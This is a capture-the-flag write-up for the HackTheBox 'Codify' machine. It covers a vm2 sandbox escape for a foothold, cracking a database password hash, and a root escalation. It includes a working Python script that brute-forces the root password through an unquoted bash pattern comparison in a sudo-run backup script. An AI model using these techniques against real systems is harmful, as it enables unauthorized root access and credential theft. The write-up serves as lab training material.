Information

  • CTF Name: Codify
  • CTF Level: Easy
  • Date: 4/4/2024
  • Platform: HTB
  • Category: Machine

Findings

External

Enumeration

  • I Started with simple nmap scan and got 3 ports open 22,80 and 3000
  • The port 80 is where the site hosted and the 3000 is the node.js server for the running
  • it is Same Website on both Port 80 and 3000, so let use the port 80.
  • The website is a node.js Code editor and runner and it uses a library called vm2 to sandbox the code runner from the system, this will prevent attacks from executing system command on the machine/server.
  • The Problem is this site is using a vulnerable version of vm2 the version is 3.9.16
  • This Exploit will Escape some Restricted codes by the library
    • child_process
    • fs

Gaining Access

  • I Started my netcat listener
  • Then I Executed the vm2 exploit
  • I Got access the the svc user. Hurray!!
  • It is really Easy foothold took 5min i think

Internal

Enumeration

  • I tried to check special folders and got a specials and i got the web hosted Directories inside /var/www i try to check all the files and i got the file called tickets.db.
    • Good For us, this database file contains the username and password hash for the user joshua.

Gaining Access

  • I Saved the hash and tried to crack it with john.
  • Well Done, we got the password for the user joshua
  • We are In to the User joshua!
  • Then we got the user.txt flag.

Maintaining Access

  • First, i tried to footprint the system and saw that the kernel version is old and i thought it can be exploited with dirtypipe and i spent some min on it, then i jumped to another findings.
  • While Enumerating the new account files and folders, i got some eye catchy file /opt/scripts/mysql-backup.sh
  • I have Permission to run the script with sudo and no password
#!/bin/bash                                                                                                                                                                                                                                   
DB_USER="root"                                           
DB_PASS=$(/usr/bin/cat /root/.creds)                         
BACKUP_DIR="/var/backups/mysql"                                
read -s -p "Enter MySQL password for $DB_USER: " USER_PASS  

/usr/bin/echo  
if [[ $DB_PASS == $USER_PASS ]]; then  
        /usr/bin/echo "Password confirmed!"   
else                           
        /usr/bin/echo "Password confirmation failed!"     
        exit 1   
fi   


/usr/bin/mkdir -p "$BACKUP_DIR" 
databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)") 

for db in $databases; do    
    /usr/bin/echo "Backing up database: $db"    
    /usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"  
done 

  • Check the comparison, After some research, I discovered that if the right side of == is not quoted, bash uses pattern matching instead of interpreting it as a string.
    • If we give wildcard “*” it gives some weird output, it says Password confirmed, so we need to brute force the password.
import string
import subprocess
all = list(string.ascii_letters + string.digits)
password = ""
found = False

while not found:
    for character in all:
        command = f"echo '{password}{character}*' | sudo /opt/scripts/mysql-backup.sh"
        output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout

        if "Password confirmed!" in output:
            password += character
            print(password)
            break
    else:
        found = True
  • On executing the script, we got the password for root.
  • Then I logged in to this user with ssh [email protected] and this password then boom. We got the root flag.

Thank you!

Nathan Hailu

Content Creator | Penetration testing Specialist | Mentor | Hackthebox top 1%